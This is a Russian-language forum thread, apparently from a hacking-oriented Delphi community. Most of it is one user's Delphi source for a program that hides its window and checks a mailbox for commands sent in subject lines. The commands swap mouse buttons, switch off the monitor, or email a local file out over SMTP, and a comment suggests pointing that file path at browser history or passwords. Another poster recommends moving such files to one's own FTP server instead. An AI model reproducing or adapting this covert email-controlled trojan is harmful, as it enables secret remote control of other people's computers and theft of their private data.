Решив добавить функцию отсылки файлов на почту столкнулся с проблемой переустановки indy. Большинство инструкций мне не понятны. И исходя из моей лени такой вопрос: А можно каким-то другим способом отправлять файлы на мыло?
Del я бы не сказал что Delphi 2010 лучше, я то же раньше ставил себе 2010, но она меня совсем не порадовала..., вернулся к Delphi 7, компоненты переустановить не проблема, я сам себе Indy менял когда то...
а файлы лучше не на почту аттачить, а сливать на собственный файловый хостинг, FTP сервер, и не будет никаких проблем...!
Сообщение отредактировал xXxSh@dowxXx - Суббота, 25.08.2012, 20:37
type TForm1 = class(TForm) Timer1: TTimer; IdPOP31: TIdPOP3; IdMessage1: TIdMessage; IdSMTP1: TIdSMTP; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormActivate(Sender: TObject); private { Private declarations } public { Public declarations } function UpMessage: longint; end;
var Form1: TForm1; msgCount, i: integer; z: string; implementation
{$R *.dfm}
{ TForm1 }
function TForm1.UpMessage: longint; begin idpop31.Connect;//конектимся с сервером msgCount:=idpop31.CheckMessages;//узнаём кол-во сообщений if msgCount>0 then begin for i:=1 to msgCount do //запускаем цикл begin idmessage1.Clear;// очищаем от предыдущих записей idpop31.Retrieve(i,idmessage1);//начинаем приём сообщений if idmessage1.Subject='1' then // если в теме письма написана команда mouse, SwapMouseButton(true); // то меняем кнопки мыши местами. if idmessage1.Subject='2'then SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);//Вырубаем монитор if idmessage1.Subject='3' then SwapMouseButton(false); //возвращаем кнопки мыши обратно if idmessage1.Subject='4'then SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);//вкл.монитор. if idmessage1.Subject='5' then begin With IdSMTP1 do begin Host := 'smtp.yandex.ru'; //и так ясно (адрес хоста) Port := 587; // или 25 Username := 'логин'; // логин Password := 'пароль'; //пароль IdMessage1.From.Text := 'от кого'; // от кого IdMessage1.Recipients.EMailAddresses := 'кому'; //кому IdMessage1.Subject := '5'; IdMessage1.MessageParts.Clear; //чистка текста письма (обычно там х у * н я какя то типо рекламы) IF FileExists('c:\text.txt') Then //можно указать путь к чему угодно(истории браузера, пароли и т.д.) tidAttachmentFile.Create(IdMessage1.MessageParts, 'c:\text.txt'); //создается файл Connect; IF Connected Then //соеденяемся Begin Send(IdMessage1); // отправляем Disconnect; //отсоеденяемся End; End; end; idpop31.Delete(1); //удаляем сообщение с командой, а то пипец будет idpop31.Disconnect;//разрываем соединение end end else idpop31.Disconnect; //разрываем соединение end;
procedure TForm1.FormCreate(Sender: TObject); begin UpMessage;//запускаем выше описаную функцию при создание формы(запуске программы) end;
procedure TForm1.Timer1Timer(Sender: TObject); begin UpMessage;//повтаряем функцию(проверяем почту) каждые 10 секунд end;
procedure TForm1.FormActivate(Sender: TObject); begin ShowWindow(Handle, SW_Hide);//делаем форму (можно и другим способом) ShowWindow(Application.Handle,SW_Hide);//невидимой end;
end.
Сообщение отредактировал Del - Воскресенье, 26.08.2012, 11:16
Дата: Воскресенье, 26.08.2012, 14:03 | Сообщение # 33
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Del а тебя не смущает тот факт что у тебя Timer и процедура FormCreate при запуске одновременно начинают работать? (получается одновременно две попытки соединиться с почтой)...
так же откуда ты взял:
Code
Port := 587;
и что у тебя с этим портом работает нормально?
Сообщение отредактировал xXxSh@dowxXx - Воскресенье, 26.08.2012, 14:04